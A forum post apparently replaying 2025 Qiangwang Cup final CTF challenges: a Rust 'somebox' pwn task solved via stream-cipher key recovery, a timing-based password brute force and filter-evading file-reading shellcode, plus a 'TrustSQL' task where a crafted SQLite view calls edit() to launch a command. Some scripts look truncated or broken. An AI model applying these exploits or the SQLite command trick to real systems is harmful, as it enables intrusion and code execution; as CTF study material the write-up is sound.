[原创]强网杯2025决赛复现-CTF对抗-看雪安全社区｜专业技术交流与安全研究论坛

[原创]强网杯2025决赛复现

发表于: 2025-11-26 23:26 14334

[原创]强网杯2025决赛复现

xi@0ji233

2025-11-26 23:26

14334

本篇文章作个人复现 2025 强网杯决赛赛题的记录。

## AWDU

### somebox

这道题是 rust 的综合题，总体难度算很高的了，并要求选手掌握很深的逆向功底，密码学技术和 shellcode 编写技术。

![](upload/attach/202602/919002_EH2PR5NA4R34SH4.png)

上来一串加密的数据，让人看得一脸懵逼，只能开逆了，主逻辑在 `sub_1AB40` 中，通过字符串发现一个菜单

![](upload/attach/202602/919002_3DH8FN6F53H6YFU.png)

顺着这个 menu 字符串可以找到关键结构

![](upload/attach/202602/919002_QS7MWVJ9VCSRF6B.png)

很显然，`1FA20` 就是所谓的加密函数了。

![](upload/attach/202602/919002_A2NWPXJDKF5QS2W.png)

很好，非常无敌的加密，猜测一下 a1 的结构，如下：

```C++
struct encryptData
{
    __int64 k[4];
    __int64 b[4];
    __int64 key[4];
    __int64 idx;
};
```

根据加密的算法可以看出来，这是一个流式的加密，密钥递推符合如下公示：

```
a[n] = k * a[n-1] + b
```

其中 `k` 和 `b` 是随机生成的，其中只有 `a[0]` 是已知的，也就是该结构体 `key` 的初始值。

![](upload/attach/202602/919002_NA57U2BV6AFX5C9.png)

`v8` 对原文仅仅做了异或操作，而流式 `key` 保存在 `v6`，经过一系列的变化得到了 `v8`，在 `v6->v7` 和 `v7->v8` 的过程显然都是可逆的，那么只需要拿到异或得到的值，即可解出原 `key`。由于它四个 `key` 是轮转的，这就导致了开头的 32 字节加密是固定的，后续全部是随机。开头输出的菜单原文是已知的，也就是说，现在已知原文，密文，那么开头原文的一系列密钥是已知的，即说对于这四个数列 `key1[n],key2[n],key3[n],key4[n]`，可以知道它们的前几项。

我们又已知数列的递推公式均满足 `key[n] = (k * key[n-1] + b) mod pow(2,64) | (n>=1)`

经过逆向把这些信息总结出来之后，就是 call 队伍里的密码学师傅了，个人认为解释的非常清楚了.

![](upload/attach/202602/919002_GE4RZ4AQR9RMNTM.png)

密码学师傅非常给力，很快给了我脚本，根据前几项来推测 k 和 b 的值，尽管可能有多解，实测发现多解情况随便选一组解不影响加解密。

```python
# 输入：已有的若干项（无符号 64 位，Python int 足够）
from math import gcd
M = 1 << 64
def mod64(x):
    return x & (M - 1)

# 解线性同余 k*dx ≡ dy (mod M)
# 返回候选 k 的列表（每个在 [0, M-1]）
def solve_for_k(dx, dy):
    dx = mod64(dx);
    dy = mod64(dy)
    if dx == 0:
        # 0 * k ≡ dy (mod M)  -> 有解当且仅当 dy ≡ 0 (mod M)
        return [0] if dy == 0 else []  # 特殊：dx==0 不约束 k，如果 dy==0 则任意 k 可，返回 placeholder
    g = gcd(dx, M)
    if dy % g != 0:
        return []
    # 除以 g，在模 M' 下求逆
    dxp = dx // g
    dyp = dy // g
    Mp = M // g
    # 计算 (dxp)^(-1) mod Mp
    # 使用扩展欧几里得或 pow since Mp 不是素数但 gcd(dxp, Mp)==1
    inv = pow(dxp, -1, Mp)  # Python 3.8+
    k0 = (dyp * inv) % Mp
    # 所有解为 k0 + t*Mp, t=0..g-1
    return [(k0 + t * Mp) % M for t in range(g)]

def find_k_b_from_sequence(seq):
    n = len(seq)
    if n < 2:
        return None  # 信息太少（任意 k,b 可）
    # 尝试用第一个能约束的相邻三项（或多处）来生成候选 k
    candidates = None
    for i in range(n - 2):
        dx = (seq[i + 1] - seq[i]) % M
        dy = (seq[i + 2] - seq[i + 1]) % M
        ks = solve_for_k(dx, dy)
        if ks == []:
            return []  # 在此处无解 -> 整个序列不可能来自同一线性映射
        # 若 dx==0 且 dy==0 意味着这三项对 k 不产生约束，继续找下一组
        if dx == 0 and dy == 0:
            continue
        # 否则 ks 为候选集合（注意：若 dx==0 and dy==0 we skipped）
        candidates = ks
        break

# 如果一直没有约束（全部相等或每组三项都 dx==0,dy==0），处理特殊情形
    if candidates is None:
        # 所有相邻差都为0 => seq 都相同 => (k-1)*c + b ≡ 0 (mod M),无限多解
        return "ALL_EQUAL"  # 提示无限多解（或需要更多约束）

# 验证候选，保留能让所有已知项成立的那些
    valid = []
    for k in candidates:
        b = (seq[1] - (k * seq[0])) % M
        ok = True
        for i in range(n - 1):
            if ((k * seq[i] + b) - seq[i + 1]) % M != 0:
                ok = False;
                break
        if ok:
            valid.append((k, b))
    return valid
```

把这个脚本保存为 `m.py`，可以构造交互了，因为系统会将用户输入的 `hex` 也加密一遍之后去理解含义，所以输入的时候需要进行一次加密（这个流加密可以验证加密和解密都能使用同一个函数），但是它们共享密钥生成器，所以这里需要做好分配。

初始密钥直接断函数看栈数据就行。

![](upload/attach/202602/919002_3X4BXBPU9SEGPST.png)

下面是交互脚本：

```python
from pwn import *
from m import find_k_b_from_sequence
context.log_level = 'debug'
context.arch = 'amd64'
import os
import sys
from pwn import *

# from z3 import *

def ror64(value, shift, bits=64):
    """64位循环右移 - rol64的逆操作"""
    shift %= bits
    return ((value >> shift) | (value << (bits - shift))) & ((1 << bits) - 1)

def rol64(value, shift, bits=64):
    """64位循环左移"""
    shift %= bits
    return ((value << shift) | (value >> (bits - shift))) & ((1 << bits) - 1)

def mix(v6):
    v7 = v6 ^ (v6 >> 1) ^ ((v6 ^ (v6 >> 1)) >> 2) ^ ((v6 ^ (v6 >> 1) ^ ((v6 ^ (v6 >> 1)) >> 2)) >> 4) ^ (
                (v6 ^ (v6 >> 1) ^ ((v6 ^ (v6 >> 1)) >> 2) ^ ((v6 ^ (v6 >> 1) ^ ((v6 ^ (v6 >> 1)) >> 2)) >> 4)) >> 8) ^ (
                     (v6 ^ (v6 >> 1) ^ ((v6 ^ (v6 >> 1)) >> 2) ^ ((v6 ^ (v6 >> 1) ^ ((v6 ^ (v6 >> 1)) >> 2)) >> 4) ^ ((
                                                                                                                                  v6 ^ (
                                                                                                                                      v6 >> 1) ^ (
                                                                                                                                              (
                                                                                                                                                          v6 ^ (
                                                                                                                                                              v6 >> 1)) >> 2) ^ (
                                                                                                                                              (
                                                                                                                                                          v6 ^ (
                                                                                                                                                              v6 >> 1) ^ (
                                                                                                                                                                      (
                                                                                                                                                                                  v6 ^ (
                                                                                                                                                                                      v6 >> 1)) >> 2)) >> 4)) >> 8)) >> 16)
    v7 = v7 & 0xFFFFFFFFFFFFFFFF
    v7h = v7 >> 32
    v8 = rol64(v7 ^ v7h, 7)
    return v8

def inverse_xor_shift(y, k):
    """逆异或变换：从 y 恢复 x，满足 y = x ^ (x >> k)"""
    x = y
    shift = k
    while shift < 64:
        x = x ^ (x >> shift)
        shift *= 2
    return x & 0xFFFFFFFFFFFFFFFF

def inverse_mix(v8):
    """mix 函数的逆向算法"""
    # 步骤1: 循环右移7位得到 u
    u = ror64(v8, 7)

# 步骤2: 从 u 恢复 v7
    u_high = (u >> 32) & 0xFFFFFFFF
    u_low = u & 0xFFFFFFFF
    v7_high = u_high
    v7_low = u_low ^ u_high
    v7 = (v7_high << 32) | v7_low

# 步骤3-7: 逐步逆异或变换恢复 v6
    x4 = inverse_xor_shift(v7, 16)
    x3 = inverse_xor_shift(x4, 8)
    x2 = inverse_xor_shift(x3, 4)
    x1 = inverse_xor_shift(x2, 2)
    x0 = inverse_xor_shift(x1, 1)

return x0

OOO = bytes.fromhex('''
3D 3D 3D 3D 3D 3D 3D 3D 3D 3D 3D 3D 3D 3D 3D 3D
3D 20 54 4F 59 20 45 4E 43 52 59 50 54 45 44 20
53 45 52 56 49 43 45 20 3D 3D 3D 3D 3D 3D 3D 3D
3D 3D 3D 3D 3D 3D 3D 3D 3D 0A 31 29 20 45 63 68
6F 20 62 61 63 6B 20 77 68 61 74 20 79 6F 75 20
73 65 6E 64 0A 32 29 20 41 64 6D 69 6E 20 6C 6F
67 69 6E 0A 33 29 20 4D 61 67 69 63 43 6F 64 65
20 72 75 6E 6E 65 72 0A 34 29 20 53 68 6F 77 20
63 6F 6E 66 69 67 0A 35 29 20 51 75 69 74 0A 0A
2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D
2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D
2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D
2D 2D 2D 2D 2D 2D 2D 2D 2D 0A 59 6F 75 72 20 63
68 6F 69 63 65 3A 20
''')

def setKey(hexdata):
    data = bytes.fromhex(hexdata.decode())
    global KEYA, KEYB, KEYC, KEYX
    kc = [0, 0, 0, 0]
    kb = [0, 0, 0, 0]
    ka = [0, 0, 0, 0]
    for i in range(0xC0 // 8):
        if (i % 4 == 0):
            print()
        num1 = u64(data[i * 8:i * 8 + 8])
        num2 = u64(OOO[i * 8:i * 8 + 8])
        KEYX.append(num1 ^ num2)
        KEYC_TMP.append(inverse_mix(num1 ^ num2))
        # print(hex(KEYX[i]),hex(KEYC[i]))

print("----------")
    for i in range(4, 8):
        num1 = u64(data[i * 8:i * 8 + 8])
        num2 = u64(OOO[i * 8:i * 8 + 8])
        if i == 5 or i == 7:
            KEYB[i & 3] = KEYC_TMP[i]
            # print(hex(KEYB[i & 3]))
    k1 = [KEYC_TMP[0], KEYC_TMP[4], KEYC_TMP[8], KEYC_TMP[12]]
    k2 = [KEYC_TMP[1], KEYC_TMP[5], KEYC_TMP[9], KEYC_TMP[13]]
    k3 = [KEYC_TMP[2], KEYC_TMP[6], KEYC_TMP[10], KEYC_TMP[14]]
    k4 = [KEYC_TMP[3], KEYC_TMP[7], KEYC_TMP[11], KEYC_TMP[15]]
    res1 = find_k_b_from_sequence(k1)
    res2 = find_k_b_from_sequence(k2)
    res3 = find_k_b_from_sequence(k3)
    res4 = find_k_b_from_sequence(k4)
    print(res1)
    print(res2)
    print(res3)
    print(res4)
    if len(res1) == 1 and len(res2) == 1 and len(res3) == 1 and len(res4) == 1 or 1==1:
        KEYA[0] = res1[0][0]
        KEYA[1] = res2[0][0]
        KEYA[2] = res3[0][0]
        KEYA[3] = res4[0][0]
        KEYB[0] = res1[0][1]
        KEYB[1] = res2[0][1]
        KEYB[2] = res3[0][1]
        KEYB[3] = res4[0][1]
        print("KEYA:", [hex(i) for i in KEYA])
        print("KEYB:", [hex(i) for i in KEYB])

def getKeyStream():
    global KEYA, KEYB, KEYC, KEYX
    KEYX = [i for i in KEYC]
    i = 0
    while (1):
        realkey = mix(KEYX[i & 3])
        yield realkey.to_bytes(8, 'little')
        KEYX[i & 3] = (KEYB[i & 3] + KEYA[i & 3] * KEYX[i & 3]) & 0xFFFFFFFFFFFFFFFF
        i += 1

KEYGEN = getKeyStream()

def decrypt(hexdata):
    KEY = b''
    data = bytes.fromhex(hexdata.decode())
    dec = bytearray(data)
    for i in range(len(data)):
        if i % 8 == 0:
            KEY = next(KEYGEN)
        dec[i] ^= KEY[i % len(KEY)]
    # print(dec.hex())
    return dec

def encrypt(data):
    KEY = b''
    enc = bytearray(data)
    for i in range(len(data)):
        if i % 8 == 0:
            KEY = next(KEYGEN)
        enc[i] ^= KEY[i % len(KEY)]
    # print(dec)
    return enc.hex().replace(" ", "")

for i in range(1):
    KEYA = [0, 0, 0, 0]
    KEYB = [0, 0, 0, 0]
    KEYC_TMP = []  # [0x9E3779B97F4A7C15, 0x0000000000000000, 0x94D049BB133111EB, 0x0000000000000000]
    KEYC = [0x9E3779B97F4A7C15, 0x0000000000000000, 0x94D049BB133111EB, 0x0000000000000000]
    KEYX = []

r = process("./somebox")
    firstData = r.recvline()
    setKey(firstData)
    if (KEYA[1] == 0):
        r.close()
        sys.exit(0)
    decrypt(firstData)
    while True:
        inp = input('$')
        if inp == 'exit':
            break
            r.sendline(encrypt(inp.encode()))
            b = r.recvline()
            print(decrypt(b).decode())
```

这样就可以成功和这个系统交互了，注意功能 1 并没有加密，而是直接输出，所以密钥不能轮转，事实上 1 功能在比赛中是用不到的功能。

![](upload/attach/202602/919002_UVQ86A9BDPDDV84.png)

分析登录功能，同样顺着字符串找关键位置，但是因为选手不可能手动和这个 ELF 交互，必须用 pwntools，所以需要借助 `dbg_server` 的附加功能完成调试，操作步骤为：

- 开启 `dbg_server`
- 在对应机器上使用 `pwntools` 运行程序。
- ida 选择进程附加

附截图，开启server，运行 `exp`

![](upload/attach/202602/919002_5A4BZRP893MS5FM.png)

调试选项选附加

![](upload/attach/202602/919002_U5ZSS9PZNPEBCJG.png)

选择对应的进程

![](upload/attach/202602/919002_7PK5ZK8KR2EUPYD.png)

然后就可以美美调试了。

![](upload/attach/202602/919002_PHSVHKXVA6ZS5YS.png)

根据逻辑可知，用户名必须为 `admin`，`password` 经过调试是随机生成的。

![](upload/attach/202602/919002_8CDV26KQTS9KF5A.png)

每次判断密码正确会 `sleep 5ms`，根据这个特性可以逐字节爆破。

```python
def brutePassword():
    password = bytearray(16)
    current = 0
    for i in range(128):
        found = False
        for c in range(33,0x7F):
            password[current] = c
            r.sendline(encrypt(b'2').encode())
            decrypt(r.recvline()).decode()
            r.sendline(encrypt(b'admin').encode())
            decrypt(r.recvline()).decode() # enter password
            r.sendline(encrypt(password.strip(b'\x00')).encode())
            result = decrypt(r.recvline()).decode()
            pos = result.find('(')
            rpos = result.find('ms)')
            if(rpos == -1):
                print("!!!",password.strip(b'\x00'))
                return password.strip(b'\x00')
            T = int(result[pos+1:rpos])
            if(T >= 5*current +5):
                print(password.strip(b'\x00'),result,T)
                current += 1
                found = True
            if(found):
                break
        if(not found):
            password[current] = 0
            current -= 1
    return password
```

为了本地调试方便，把密码 patch 了，让它永远返回正确，因为后面才是大头。

![](upload/attach/202602/919002_YB65SGWBFFMUF4S.png)

简单粗暴点就行。

根据功能 3 找到具体执行的位置。

![](upload/attach/202602/919002_TXBC6MVCG5BU9HR.png)

这里可以看到用 `mmap` 分配了权限为 7 的内存段。

![](upload/attach/202602/919002_4KRRUG795S5HTXH.png)

它在执行之前会把可写权限关闭，并且满足一定的条件下会随机打乱输入的 shellcode。

全部算法如下

```C++
int __fastcall sub_56F17A9626C0(void *src, size_t n)
{
    _BYTE *v2; // rax
    size_t v3; // rbx
    _BYTE *v4; // r14
    char v5; // al
    __int64 v6; // rcx
    int b1; // esi
    unsigned __int16 b2; // cx
    int b3; // eax
    unsigned int v10; // r14d
    char v11; // bl
    char i; // bp
    unsigned int *v13; // rcx
    unsigned int v14; // eax
    unsigned int v15; // edx
    bool v16; // cf
    unsigned int v17; // r14d
    __int64 v18; // rbx
    size_t v19; // r13
    unsigned int v21; // [rsp+Ch] [rbp-8Ch] BYREF
    void *v22; // [rsp+10h] [rbp-88h] BYREF
    int v23; // [rsp+18h] [rbp-80h]
    _DWORD v24[2]; // [rsp+1Ch] [rbp-7Ch] BYREF
    _BYTE v25[4]; // [rsp+24h] [rbp-74h]
    int v26; // [rsp+28h] [rbp-70h]
    int v27; // [rsp+2Ch] [rbp-6Ch]
    char v28; // [rsp+30h] [rbp-68h]
    int v29; // [rsp+34h] [rbp-64h]
    int v30; // [rsp+38h] [rbp-60h]
    char v31; // [rsp+3Ch] [rbp-5Ch]
    size_t v32; // [rsp+40h] [rbp-58h]
    _BYTE *v33; // [rsp+48h] [rbp-50h]
    size_t v34; // [rsp+50h] [rbp-48h]
    __int64 v35; // [rsp+58h] [rbp-40h]
    __int64 v36; // [rsp+60h] [rbp-38h]

v22 = 0;
    getrandom(&v22, 4, 0);
    v22 = (void *)((_QWORD)v22 << 12);
    v2 = mmap(v22, 0x1000u, 7, 34, -1, 0);
    if ( v2 == (_BYTE *)-1LL )
        return (int)v2;
    v3 = 2048;
    if ( n < 0x800 )
        v3 = n;
    if ( !n )
        return (int)v2;
    v4 = v2;
    memcpy(v2, src, v3);
    v32 = v3;
    memset(&v4[v3], 0, 4096 - v3);
    if ( n < 3 )
        goto LABEL_29;
    v34 = v32 - 3;
    v5 = *v4;
    v6 = 0;
    v33 = v4;
    LABEL_8:
    v36 = v6 + 1;
    b1 = (char)v4[v6 + 1];
    v35 = v6;
    b2 = (char)v4[v6 + 2];
    b3 = (unsigned __int16)v5;
    v23 = b1;
    v24[0] = b3 + 255;
    v24[1] = 5;
    v25[0] = 1;
    v26 = (unsigned __int16)b1 + 255;
    v27 = 5;
    v28 = 1;
    v29 = b2 + 255;
    v30 = 5;
    v31 = 1;
    v10 = b2 + (unsigned __int16)b1 + b3 + 510 + 255;
    v11 = 1;
    for ( i = 1; ; i = 0 )
    {
        while ( 1 )
        {
            v21 = 0;
            getrandom(&v21, 4, 0);
            if ( !v25[12 * (v21 % 3)] )
            {
                v14 = v10;
                goto LABEL_10;
            }
            v13 = &v24[3 * (v21 % 3)];
            v14 = 0;
            v15 = 0;
            if ( *v13 >= 5 )
                break;
            *v13 = 0;
            v16 = v10 < v13[1];
            v17 = v10 - v13[1];
            if ( v16 )
                goto LABEL_14;
            LABEL_19:
            v14 = v17;
            if ( v15 < 5 )
                goto LABEL_20;
            LABEL_15:
            if ( (i & 1) == 0 )
                goto LABEL_21;
            LABEL_9:
            if ( v14 <= 4 )
            {
                LABEL_7:
                v4 = v33;
                v5 = v23;
                v6 = v36;
                if ( v35 == v34 )
                    goto LABEL_29;
                goto LABEL_8;
            }
            LABEL_10:
            v10 = v14;
        }
        v15 = *v13 - 5;
        *v13 = v15;
        v16 = v10 < v13[1];
        v17 = v10 - v13[1];
        if ( !v16 )
            goto LABEL_19;
        LABEL_14:
        if ( v15 >= 5 )
            goto LABEL_15;
        LABEL_20:
        *((_BYTE *)v13 + 8) = 0;
        i = v25[0];
        v11 = v28;
        if ( (v25[0] & 1) != 0 )
            goto LABEL_9;
        LABEL_21:
        if ( (v11 & 1) != 0 )
            goto LABEL_9;
        if ( v31 != 1 || v14 <= 4 )
            break;
        v11 = 0;
        v10 = v14;
    }
    if ( v31 || v14 <= 4 )
        goto LABEL_7;
    LOWORD(v24[0]) = 0;
    v18 = 0;
    v4 = v33;
    v19 = v32;
    do
    {
        getrandom(v24, 2, 0);
        v4[v18++] ^= LOBYTE(v24[0]);
    }
    while ( v19 != v18 );
    LABEL_29:
    if ( !fork() )
    {
        mprotect(v4, 0x1000u, 5);
        sandbox();
        __asm { jmp     rax }
    }
    LODWORD(v2) = wait(0);
    return (int)v2;
}
```

shellcode每连续的三个字节为一组进行如下游戏校验：

游戏背景：

- 游戏有 3 个玩家和一个 boss，三个玩家的血量分别为 shellcode 字节值 + 255。
- boss 的血量为三个玩家血量之和。
- 所有人的攻击力为 5，没有防御属性，即一次攻击会令对手损失 5 点生命值。
- 血量 < 5 视为死亡状态。

每个回合中执行如下操作：

- 随机选择一个**存活**状态的玩家与 boss 进行战斗。
- 玩家先攻击，令 Boss 损失 5 点生命值。
- Boss 攻击选定玩家，损失 5 点生命值。
- 任意时间内，有一方完全死亡时游戏结束，完全死亡的一方游戏失败。

把游戏抽象为数学模型，不妨设三个玩家的生命值为 `5x + a , 5y + b , 5z + c`，Boss 血量根据要求为 `5(x + y + z) +  (a + b + c) | (a,b,c < 5)`。

说白了，这游戏就不太可能可以赢，因为一个 `5x + a` 血量的人物只能给 Boss 造成 `5x` 的伤害，但是好在玩家先手，如果前面两个人（可以证明，游戏输赢和攻击顺序无关）死亡的情况下，剩下最后一个人，双方血量分别为 `5z + c` 和 `5z + a + b + c`，经过 `z - 1` 个回合之后，血量变成 `5 + z` 和 `5 + a + b + c`，最后一刻，必须给 Boss 致命一击，即攻击过后 `a + b + c < 5`，不然它再打过来玩家必输。

这里的 a，b，c 自然就是 `byte % 5` 的值，所以 shellcode 必须满足下面的要求。

```python
for i in range(len(shellcode)-2):
    s = 0
    for j in range(3):
        s += shellcode[i+j] % 5
    if s >= 5:
        print("error")
        quit()
```

只要任意三个连续的字节 `%5` 相加的值大于等于 5，这个 shellcode 就是不合法的。

所以尽量要选择权值（%5得到的值）尽可能低的指令去输入，一些比较好用的指令：

```assembly
jmp $+2
; EB 00
; 0  0
mov ecx, $imm
; B9 ?? ?? ?? ??
; 0  ?? ?? ?? ??
```

其余一些 mov 指令巨难用，一不小心就会超过，所以推荐用 `xchg r1,r2`，它的优点就是，如果正着来权值过大可以反过来，即写 `xchg r2,r1`，指令效果完全等价。

![](upload/attach/202602/919002_3R24AJG553NEBBD.png)

执行 shellcode 之前，它把几乎所有寄存器都清零了，也就是找不到一个可写的地址。

在此之前，也先看看沙箱

![](upload/attach/202602/919002_S7NHFXWRD5WU6EH.png)

这里我选择是直接 patch main 函数，直接执行 sandbox 函数，得到的沙箱结果。

这个沙箱很简单，直接 `openat + sendfile` 即可，但是可写内存没有，因此我选择了 `mmap` 去分配内存，然后将栈定向到这块内存中去（虽然没用到），这块内存可以用于去写 `/flag` 字符串。

这个题目在执行 shellcode 之后还关闭了标准输入，导致我们没有办法重写 shellcode，只能按照它的要求和规则去书写。

下面是我写的 shellcode

```assembly
mov ecx,9
mov eax,ecx
mov edi,0
mov esi,0xa000
mov edx,7
mov ecx,0x22
mov r10d,ecx
syscall
; openat

add rax, 0x5000

mov rbx,rax
jmp $+2
xchg rbx,rbp
mov rbx,rax
xchg rbx,rsp
sub rax,0x5000

mov rbx,rax

; write /flag
mov ecx,'/'
mov [rbx],cl
jmp $+2
inc rbx

mov ecx,'f'
mov [rbx],cl
jmp $+2
inc rbx

mov ecx,'l'
mov [rbx],cl
jmp $+2
inc rbx

mov ecx,'a'
mov [rbx],cl
jmp $+2
inc rbx

mov ecx,'g'
mov [rbx],cl
jmp $+2
inc rbx

mov ecx, 0
mov [rbx],cl
jmp $+2
inc rbx
jmp $+2

mov rbx,rax
jmp $+2
xchg rsi,rbx
jmp $+2
mov ecx,0
jmp $+2
mov edi,ecx
jmp $+2
mov ecx,0
jmp $+2
mov edx,ecx
jmp $+2
mov ecx,1
jmp $+2
mov edi,ecx
jmp $+2
mov ecx,257
jmp $+2
mov eax,ecx
jmp $+2
syscall

mov ecx,0

jmp $+2
mov esi,ecx
jmp $+2
mov ecx,1
jmp $+2
mov edi,ecx
jmp $+2
mov ecx,0x30
mov r10d,ecx

mov ecx,40
mov eax,ecx
mov ecx,0
mov edx,ecx
syscall
;sendfile
```

shellcode满足要求之后直接写 exp 脚本，这里省略了爆破密码的步骤。

```python
from pwn import *
from m import find_k_b_from_sequence
context.log_level = 'debug'
context.arch = 'amd64'
import os
import sys
from pwn import *

# from z3 import *

def ror64(value, shift, bits=64):
    """64位循环右移 - rol64的逆操作"""
    shift %= bits
    return ((value >> shift) | (value << (bits - shift))) & ((1 << bits) - 1)

def rol64(value, shift, bits=64):
    """64位循环左移"""
    shift %= bits
    return ((value << shift) | (value >> (bits - shift))) & ((1 << bits) - 1)

def inverse_mix(v8):
    """mix 函数的逆向算法"""
    # 步骤1: 循环右移7位得到 u
    u = ror64(v8, 7)

# 步骤2: 从 u 恢复 v7
    u_high = (u >> 32) & 0xFFFFFFFF
    u_low = u & 0xFFFFFFFF
    v7_high = u_high
    v7_low = u_low ^ u_high
    v7 = (v7_high << 32) | v7_low

return x0

KEYGEN = getKeyStream()

r = process("./somebox")
    # r.sendlineafter("token: ",'icq1c2c3ba49a2232b7943ba21ec88e8')
    firstData = r.recvline()

setKey(firstData)
    if (KEYA[1] == 0):
        r.close()
        sys.exit(0)
    decrypt(firstData)

r.sendline(encrypt(b'2'))
    print(decrypt(r.recvline()).decode())
    r.sendline(encrypt(b'admin'))
    print(decrypt(r.recvline()).decode())

r.sendline(encrypt(b'pass'))
    print(decrypt(r.recvline()).decode())

r.sendline(encrypt(b'3'))
    print(decrypt(r.recvline()).decode())

shellcode = '''
    mov ecx,9
    mov eax,ecx
    mov edi,0
    mov esi,0xa000
    mov edx,7
    mov ecx,0x22
    mov r10d,ecx
    syscall
    add rax, 0x5000
    
    mov rbx,rax
    jmp $+2
    xchg rbx,rbp
    mov rbx,rax
    xchg rbx,rsp
    sub rax,0x5000
    
    mov rbx,rax
    
  
    
    mov ecx,'/'
    mov [rbx],cl
    jmp $+2
    inc rbx
    
    mov ecx,'f'
    mov [rbx],cl
    jmp $+2
    inc rbx
    
    mov ecx,'l'
    mov [rbx],cl
    jmp $+2
    inc rbx
    
    mov ecx,'a'
    mov [rbx],cl
    jmp $+2
    inc rbx
    
    mov ecx,'g'
    mov [rbx],cl
    jmp $+2
    inc rbx
    
    mov ecx, 0
    mov [rbx],cl
    jmp $+2
    inc rbx
    jmp $+2
    
    mov rbx,rax
    jmp $+2
    xchg rsi,rbx
    jmp $+2
    mov ecx,0
    jmp $+2
    mov edi,ecx
    jmp $+2
    mov ecx,0
    jmp $+2
    mov edx,ecx
    jmp $+2
    mov ecx,1
    jmp $+2
    mov edi,ecx
    jmp $+2
    mov ecx,257
    jmp $+2
    mov eax,ecx
    jmp $+2
    syscall
    
    mov ecx,0
    
    jmp $+2
    mov esi,ecx
    jmp $+2
    mov ecx,1
    jmp $+2
    mov edi,ecx
    jmp $+2
    mov ecx,0x30
    mov r10d,ecx
    
    mov ecx,40
    mov eax,ecx
    mov ecx,0
    mov edx,ecx
    syscall
    '''
    gdb.attach(r)
    r.sendline(encrypt(asm(shellcode)))

print(r.recvline())
    print(decrypt(r.recvline()).decode())
    while True:
        inp = input('$')
        if inp == 'exit':
            break
        r.sendline(encrypt(inp.encode()))
        b = r.recvline()
        print(decrypt(b).decode())
    r.interactive()
```

最终也是直接拿到 `flag`。

![](upload/attach/202602/919002_3824HMX8S6C43HK.png)

这道题只能 patch 沙箱的配置文件，一共 10 个 ban 位，openat 加白了，原生 orw 天然 ban 位，主要禁止的地方是读取文件，以下系统调用都能够读取文件。

- mmap
- read
- readv
- pread64
- preadv
- preadv2
- splice
- sendfie
- io_uring
- io_setup

总的来说，这题的质量还是非常高的，虽然比赛被折磨的很难受吧）

## RW

### TrustSQL

题目文档：

> **题目名称：**trustSQL
>
> **旗帜名称：**TSTSQ
>
> **题目描述：**附件中给出了一个Ubuntu虚拟机，该虚拟机与台上靶机内的虚拟机环境完全相同，仅有系统密码不同。请挖掘并利用/home/qwb/sqlite3中的漏洞，构造一个恶意的数据库文件（假设用户完全信任并加载该数据库文件），实现用户在虚拟机中利用sqlite3打开该数据库文件，并执行特定的查询后，能自动弹出系统计算器。上台演示的时候注意关闭exp的调试信息。
>
> **附件信息：** 附件中的虚拟机与台上靶机内的虚拟机环境完全相同，仅有系统密码不同。附件中虚拟机系统用户名为qwb，密码为admin。
>
> **台上拓扑：**交换机同时连接选手攻击机和靶机。靶机中使用vmware（最新版）开启附件中提供的虚拟机环境（操作系统Ubuntu，仅系统密码和附件中的虚拟机不同），该虚拟机已在/home/qwb/sqlite3正确安装sqlite3。
>
> **展示目标：**选手携带自己的攻击机上台，将可以完成漏洞利用的恶意数据库文件上传到自己的HTTP服务器。操作员将在靶机的Ubuntu虚拟机中，下载并利用sqlite3加载选手HTTP服务器上的恶意数据库文件（/home/qwb/sqlite3 malicious.db），然后在sqlite3中依次执行特定的查询命令（PRAGMA trusted_schema = ON; select users from qwbDB;）。在加载数据库并执行特定查询命令后的规定时间内，自动在Ubuntu虚拟机中弹出系统计算器。

题目已经帮忙开启了 `PRAGMA trusted_schema = ON`，直接用 sqlite3 的 edit 函数，直接执行计算器命令即可。

如果任意执行 SQL 命令，很容易想到

```sqlite
select edit('gnome-calculator;','gnome-calculator;');
```

![](upload/attach/202602/919002_GW5WZJ2V8RHXD69.png)

但是因为它要求只能执行特定查询，所以创建一个视图去触发最终的 payload。

![](upload/attach/202602/919002_AGCRWR8NM7R9H3Z.png)

## 参考文献

- [1]：<mark class="encrypted">b87K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6f1e0p5b7I4x3o6t1%4i4K6u0r3f1g2N6n7x3U0l9J5y4g2)9J5k6s2y4G2L8h3g2T1L8%4S2Q4x3V1j5`.</mark>

## 后记

其余的题目还在复现中，希望有精力复现吧。。

登录后可查看完整内容

传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！！

最后于 2025-12-2 13:33 被xi@0ji233编辑，原因：

#Pwn

上传的附件：